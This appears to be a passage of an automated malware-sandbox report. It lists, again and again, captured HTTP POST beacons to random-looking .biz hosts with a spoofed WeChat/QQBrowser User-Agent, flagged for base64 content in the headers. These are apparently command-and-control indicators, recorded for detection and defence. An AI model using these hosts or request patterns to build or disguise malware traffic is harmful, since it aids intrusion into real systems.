"MicroMessenger/6" in header "POST /ltbcty HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "NetType/WIFI" in header "POST /ltbcty HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "QBCore/3" in header "POST /ltbcty HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2524" in header "POST /ltbcty HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "POST" in header "POST /rsembmyjucc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "/rsembmyjucc" in header "POST /rsembmyjucc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "POST /rsembmyjucc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "like" in header "POST /rsembmyjucc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2171" in header "POST /rsembmyjucc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "MicroMessenger/6" in header "POST /rsembmyjucc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "NetType/WIFI" in header "POST /rsembmyjucc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "QBCore/3" in header "POST /rsembmyjucc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2524" in header "POST /rsembmyjucc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "POST" in header "POST /gmoa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "POST /gmoa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "like" in header "POST /gmoa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2171" in header "POST /gmoa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "MicroMessenger/6" in header "POST /gmoa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "NetType/WIFI" in header "POST /gmoa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "QBCore/3" in header "POST /gmoa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2524" in header "POST /gmoa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "POST" in header "POST /ittooiq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "/ittooiq" in header "POST /ittooiq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "POST /ittooiq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "npukfztj" in header "POST /ittooiq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "like" in header "POST /ittooiq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2171" in header "POST /ittooiq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "MicroMessenger/6" in header "POST /ittooiq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "NetType/WIFI" in header "POST /ittooiq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "QBCore/3" in header "POST /ittooiq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2524" in header "POST /ittooiq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "POST" in header "POST /wsyriayansdhkx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "POST /wsyriayansdhkx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "like" in header "POST /wsyriayansdhkx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2171" in header "POST /wsyriayansdhkx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "MicroMessenger/6" in header "POST /wsyriayansdhkx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "NetType/WIFI" in header "POST /wsyriayansdhkx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "QBCore/3" in header "POST /wsyriayansdhkx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2524" in header "POST /wsyriayansdhkx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "POST" in header "POST /kpbendnmvboqlr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "Keep" in header "POST /kpbendnmvboqlr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "like" in header "POST /kpbendnmvboqlr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2171" in header "POST /kpbendnmvboqlr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "MicroMessenger/6" in header "POST /kpbendnmvboqlr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "NetType/WIFI" in header "POST /kpbendnmvboqlr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "QBCore/3" in header "POST /kpbendnmvboqlr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2524" in header "POST /kpbendnmvboqlr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "POST" in header "POST /klmwrsqs HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "POST /klmwrsqs HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "like" in header "POST /klmwrsqs HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2171" in header "POST /klmwrsqs HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "MicroMessenger/6" in header "POST /klmwrsqs HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "NetType/WIFI" in header "POST /klmwrsqs HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "QBCore/3" in header "POST /klmwrsqs HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2524" in header "POST /klmwrsqs HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "POST" in header "POST /winxnjxhtmxihskw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "Keep" in header "POST /winxnjxhtmxihskw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "like" in header "POST /winxnjxhtmxihskw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2171" in header "POST /winxnjxhtmxihskw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "MicroMessenger/6" in header "POST /winxnjxhtmxihskw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "NetType/WIFI" in header "POST /winxnjxhtmxihskw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "QBCore/3" in header "POST /winxnjxhtmxihskw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2524" in header "POST /winxnjxhtmxihskw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "POST" in header "POST /tqya HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "POST /tqya HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "like" in header "POST /tqya HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header 